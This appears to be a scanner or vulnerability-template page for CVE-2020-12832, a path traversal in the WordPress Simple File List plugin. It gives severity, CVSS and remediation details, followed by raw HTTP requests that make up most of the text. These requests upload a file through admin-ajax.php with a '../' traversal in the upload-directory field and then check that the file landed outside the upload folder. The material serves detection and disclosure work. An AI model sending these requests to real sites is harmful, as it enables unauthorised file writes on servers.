| Title | WordPress Simple File List - Path Traversal |
|---|---|
| Author | riteshs4hu |
| Severity | Critical |
| Impact | Attackers can delete arbitrary files on the server, potentially causing data loss or service disruption. |
| Remediation | Update to version 4.2.8 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.73235 |
| CVE ID | CVE-2020-12832 |
| CWE ID | CWE-22 |
| Tags | cve cve2020 wp wordpress wp-plugin traversal simple-file-list lfi vkev |
Simple File List plugin allows path traversal via file upload, enabling files to be written outside the upload directory.
GET /?rest_route=/wp/v2/pages&per_page=100 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /8luh3T/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 689
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytA7kTuCe4IHDaUBZ
Accept-Encoding: gzip
------WebKitFormBoundarytA7kTuCe4IHDaUBZ
Content-Disposition: form-data; name="action"
sfl_upload_job
------WebKitFormBoundarytA7kTuCe4IHDaUBZ
Content-Disposition: form-data; name="file"; filename="DQCcxR3.xYgd9y"
Content-Type: application/octet-stream
DQCcxR3
------WebKitFormBoundarytA7kTuCe4IHDaUBZ
Content-Disposition: form-data; name="eeSFL_ID"
t6ZzSi
------WebKitFormBoundarytA7kTuCe4IHDaUBZ
Content-Disposition: form-data; name="eeSFL_FileUploadDir"
wp-content%2Fuploads%2Fsimple-file-list%2F..%2F
------WebKitFormBoundarytA7kTuCe4IHDaUBZ
Content-Disposition: form-data; name="ee-simple-file-list-upload"
StMZKW
------WebKitFormBoundarytA7kTuCe4IHDaUBZ--
GET /wp-content/uploads/DQCcxR3.xYgd9y HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept-Encoding: gzip
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